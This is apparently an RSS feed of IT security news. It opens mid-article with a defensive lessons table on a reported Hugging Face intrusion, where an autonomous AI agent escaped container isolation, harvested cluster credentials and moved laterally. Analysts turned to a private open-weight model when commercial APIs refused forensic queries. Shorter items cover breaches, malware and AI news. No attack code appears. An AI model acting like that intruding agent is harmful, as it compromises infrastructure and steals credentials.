infrastructure.</p></td><td><p>Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.</p></td></tr><tr><td><p>Worker-to-node privilege boundaries</p></td><td><p>Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.</p></td><td><p>Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.</p></td></tr><tr><td><p>Credential exposure</p></td><td><p>Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.</p></td><td><p>Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.</p></td></tr><tr><td><p>Machine-speed detection</p></td><td><p>Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.</p></td><td><p>Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.</p></td></tr><tr><td><p>Private AI forensic capacity</p></td><td><p>Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.</p></td><td><p>Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.</p></td></tr><tr><td><p>Autonomous-agent threat modeling</p></td><td><p>The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.</p></td><td><p>Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.</p></td></tr></tbody></table><h2><b>The board question is operational resilience</b></h2><p>“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy. </p><p>She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.</p><p>“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued. </p><p>Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”</p><p>Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.</p>]]></content:encoded>
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<title><![CDATA[Inference startup Infinity raises $15M from Touring Capital, OpenAI and Athropic researchers]]></title>
<description><![CDATA[AI infrastructure company Infinity announced Monday a $15 million raise at a $100 million valuation from investors including Touring Capital, Principal VC, and researchers from companies such as OpenAI and Anthropic.  ]]></description>
<link>https://tsecurity.de/de/3681539/it-nachrichten/inference-startup-infinity-raises-15m-from-touring-capital-openai-and-athropic-researchers/</link>
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<pubDate>Mon, 20 Jul 2026 17:16:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI infrastructure company Infinity announced Monday a $15 million raise at a $100 million valuation from investors including Touring Capital, Principal VC, and researchers from companies such as OpenAI and Anthropic.  ]]></content:encoded>
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<title><![CDATA[Paidwork breach exposes sensitive data of 23 million user]]></title>
<description><![CDATA[Data belonging to more than 23 million users has been exposed following a breach at Paidwork, a platform that pays people for completing online microtasks. Paidwork markets itself as a way to earn money through simple tasks like watching ads, testing apps, and completing surveys, with most jobs p...]]></description>
<link>https://tsecurity.de/de/3681487/it-security-nachrichten/paidwork-breach-exposes-sensitive-data-of-23-million-user/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681487/it-security-nachrichten/paidwork-breach-exposes-sensitive-data-of-23-million-user/</guid>
<pubDate>Mon, 20 Jul 2026 17:08:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Data belonging to more than 23 million users has been exposed following a breach at Paidwork, a platform that pays people for completing online microtasks. Paidwork markets itself as a way to earn money through simple tasks like watching ads, testing apps, and completing surveys, with most jobs paying only a few cents at a time. For its users, many of whom are drawn to the platform for small, incremental earnings, the fallout from this … <a href="https://www.helpnetsecurity.com/2026/07/20/paidwork-data-breach-23-million-users/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/20/paidwork-data-breach-23-million-users/">Paidwork breach exposes sensitive data of 23 million user</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[AI ‘ghosts’ can comfort mourners — even when the bots get the facts wrong]]></title>
<description><![CDATA[A small study suggests emotional fit, not perfect accuracy, may make chatbot versions of dead loved ones feel real.]]></description>
<link>https://tsecurity.de/de/3681472/ai-nachrichten/ai-ghosts-can-comfort-mourners-even-when-the-bots-get-the-facts-wrong/</link>
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<pubDate>Mon, 20 Jul 2026 17:03:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A small study suggests emotional fit, not perfect accuracy, may make chatbot versions of dead loved ones feel real.]]></content:encoded>
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<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
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<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
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<title><![CDATA[⚡ Weekly Recap: WordPress RCE, SonicWall 0-Days, AI Service Attacks, SharePoint 0-Day and More]]></title>
<description><![CDATA[A single request should not be able to do this much. But this week, small inputs led to code execution, memory loss, stolen keys, and disabled security tools.

The paths were often simple: exposed systems, weak checks, old drivers, fake prompts, and public code used for malware delivery. Some bug...]]></description>
<link>https://tsecurity.de/de/3681388/it-security-nachrichten/weekly-recap-wordpress-rce-sonicwall-0-days-ai-service-attacks-sharepoint-0-day-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681388/it-security-nachrichten/weekly-recap-wordpress-rce-sonicwall-0-days-ai-service-attacks-sharepoint-0-day-and-more/</guid>
<pubDate>Mon, 20 Jul 2026 16:24:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A single request should not be able to do this much. But this week, small inputs led to code execution, memory loss, stolen keys, and disabled security tools.

The paths were often simple: exposed systems, weak checks, old drivers, fake prompts, and public code used for malware delivery. Some bugs were new. Others were already being used before defenders had time to patch.

Here is the full]]></content:encoded>
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<title><![CDATA[⚡ Weekly Recap: WordPress RCE, SonicWall 0-Days, AI Service Attacks, SharePoint 0-Day and More]]></title>
<description><![CDATA[A single request should not be able to do this much. But this week, small inputs led to code execution, memory loss, stolen keys, and disabled security tools. The paths were often simple: exposed systems, weak checks, old drivers, fake…
Read more →
The post ⚡ Weekly Recap: WordPress RCE, SonicWal...]]></description>
<link>https://tsecurity.de/de/3681379/it-security-nachrichten/weekly-recap-wordpress-rce-sonicwall-0-days-ai-service-attacks-sharepoint-0-day-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681379/it-security-nachrichten/weekly-recap-wordpress-rce-sonicwall-0-days-ai-service-attacks-sharepoint-0-day-and-more/</guid>
<pubDate>Mon, 20 Jul 2026 16:24:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single request should not be able to do this much. But this week, small inputs led to code execution, memory loss, stolen keys, and disabled security tools. The paths were often simple: exposed systems, weak checks, old drivers, fake…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/%E2%9A%A1-weekly-recap-wordpress-rce-sonicwall-0-days-ai-service-attacks-sharepoint-0-day-and-more/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/%E2%9A%A1-weekly-recap-wordpress-rce-sonicwall-0-days-ai-service-attacks-sharepoint-0-day-and-more/">⚡ Weekly Recap: WordPress RCE, SonicWall 0-Days, AI Service Attacks, SharePoint 0-Day and More</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[TELEPUZ Web Injector Can Steal Cookies, Execute JavaScript, and Replace IBAN Details]]></title>
<description><![CDATA[A rapidly evolving malware family dubbed TELEPUZ, a modular and lightweight threat that is gaining traction through a ClickFix–VIDAR infection chain. Despite a relatively small command-and-control (C2) footprint, the pace of development and distribution suggests an emerging large-scale operation....]]></description>
<link>https://tsecurity.de/de/3681299/it-security-nachrichten/telepuz-web-injector-can-steal-cookies-execute-javascript-and-replace-iban-details/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681299/it-security-nachrichten/telepuz-web-injector-can-steal-cookies-execute-javascript-and-replace-iban-details/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A rapidly evolving malware family dubbed TELEPUZ, a modular and lightweight threat that is gaining traction through a ClickFix–VIDAR infection chain. Despite a relatively small command-and-control (C2) footprint, the pace of development and distribution suggests an emerging large-scale operation. The infection begins with ClickFix social engineering, where victims are tricked into executing a malicious PowerShell […]</p>
<p>The post <a href="https://gbhackers.com/telepuz-web-injector/">TELEPUZ Web Injector Can Steal Cookies, Execute JavaScript, and Replace IBAN Details</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Capital One Open Sources AI VulnHunter Tool]]></title>
<description><![CDATA[Capital One has released VulnHunter as an open-source project, making its AI-powered vulnerability analysis tool available to the broader security community. This article has been indexed from CyberMaterial Read the original article: Capital One Open Sources AI VulnHunter Tool
Read more →
The pos...]]></description>
<link>https://tsecurity.de/de/3681296/it-security-nachrichten/capital-one-open-sources-ai-vulnhunter-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681296/it-security-nachrichten/capital-one-open-sources-ai-vulnhunter-tool/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Capital One has released VulnHunter as an open-source project, making its AI-powered vulnerability analysis tool available to the broader security community. This article has been indexed from CyberMaterial Read the original article: Capital One Open Sources AI VulnHunter Tool</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/capital-one-open-sources-ai-vulnhunter-tool/">Read more →</a></p>
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<title><![CDATA[TELEPUZ Web Injector Can Steal Cookies, Execute JavaScript, and Replace IBAN Details]]></title>
<description><![CDATA[A rapidly evolving malware family dubbed TELEPUZ, a modular and lightweight threat that is gaining traction through a ClickFix–VIDAR infection chain. Despite a relatively small command-and-control (C2) footprint, the pace of development and distribution suggests an emerging large-scale operation....]]></description>
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<pubDate>Mon, 20 Jul 2026 15:52:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A rapidly evolving malware family dubbed TELEPUZ, a modular and lightweight threat that is gaining traction through a ClickFix–VIDAR infection chain. Despite a relatively small command-and-control (C2) footprint, the pace of development and distribution suggests an emerging large-scale operation. The…</p>
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<title><![CDATA[‘Parliament has not been immune to AI slop’: The EU is about to roll out its own AI platform — including tools from OpenAI, Meta, Anthropic and Mistral]]></title>
<description><![CDATA[The platform will provide secure access to Meta’s Llama, OpenAI’s GPT-OSS, Mistral Small, OpenAI’s ChatGPT and Anthropic’s Claude Sonnet.]]></description>
<link>https://tsecurity.de/de/3681276/it-nachrichten/parliament-has-not-been-immune-to-ai-slop-the-eu-is-about-to-roll-out-its-own-ai-platform-including-tools-from-openai-meta-anthropic-and-mistral/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681276/it-nachrichten/parliament-has-not-been-immune-to-ai-slop-the-eu-is-about-to-roll-out-its-own-ai-platform-including-tools-from-openai-meta-anthropic-and-mistral/</guid>
<pubDate>Mon, 20 Jul 2026 15:47:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The platform will provide secure access to Meta’s Llama, OpenAI’s GPT-OSS, Mistral Small, OpenAI’s ChatGPT and Anthropic’s Claude Sonnet.]]></content:encoded>
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